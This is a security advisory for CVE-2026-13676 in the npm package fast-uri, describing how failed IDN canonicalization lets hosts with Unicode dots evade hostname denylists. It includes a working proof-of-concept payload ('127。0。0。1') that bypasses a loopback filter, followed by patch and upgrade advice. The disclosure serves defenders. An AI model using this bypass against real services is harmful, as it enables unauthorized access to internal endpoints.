high · 7.5CVE-2026-13676Jul 21, 2026

CVE-2026-13676: fast-uri IDN Host Confusion via Failed Canonicalization

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

fast-uri silently fails to convert Unicode hostnames to their ASCII equivalents, letting attackers bypass hostname-based security checks by using Unicode dot variants that Node's own URL parser resolv

Packagefast-uri
Ecosystemnpm
Affected>= 4.0.0, < 4.0.1
Fixed in4.0.1

The problem

fast-uri versions >= 2.3.1 and <= 4.0.0 attempt IDN canonicalization by calling `URL.domainToASCII()` on the global WHATWG `URL` object. That method does not exist there, so a `TypeError` is thrown and silently swallowed into `parsed.error`. The host is then returned in its original Unicode form.

Anything downstream that enforces a denylist, loopback filter, or redirect allowlist using fast-uri's `parse()`, `normalize()`, or `equal()` will compare against the raw Unicode string. Node's own `URL` and `fetch()` will then resolve the same input to the canonicalized ASCII address, bypassing the policy entirely.

Proof of concept

A working proof-of-concept for CVE-2026-13676 in fast-uri, with the exact payload below.

javascript
// Bypass a loopback denylist that uses fast-uri
const uri = require('fast-uri')

// Attacker-supplied URL using fullwidth/ideographic dots (U+3002)
const malicious = 'http://127。0。0。1/admin'

const parsed = uri.parse(malicious)
console.log(parsed.host) // '127。0。0。1'  <- fast-uri sees this

// Policy check passes because the host is not '127.0.0.1'
if (parsed.host === '127.0.0.1') throw new Error('blocked')

// But Node's URL canonicalizes it to the real loopback address
const real = new URL(malicious)
console.log(real.hostname) // '127.0.0.1'  <- fetch() goes here

// fetch(malicious) hits 127.0.0.1 -- policy bypassed

The root cause is CWE-436 (Interpretation Conflict): fast-uri and Node's WHATWG URL stack parse the same input differently. `URL.domainToASCII` lives on the `require('url')` module, not on the global `URL` constructor; calling it on the global object throws, which the library catches and discards, leaving the host uncanonized.

The patch (commit 2a6d357 and siblings) corrects the call site to use `require('url').domainToASCII`, so Unicode dot-variants and other IDN forms are properly folded to their ASCII equivalents before any comparison or normalization is returned to the caller.

The fix

Upgrade fast-uri to v4.0.1 (4.x line) or v3.1.3 (3.x line) or v2.4.2 (2.x line). No workaround exists short of upgrading. If upgrading is temporarily blocked, enforce host policy using the same URL parser used for the actual HTTP request, or reject any host containing non-ASCII characters before the policy check.

Reported by celinke97.

References: [1][2][3][4][5][6]

Related research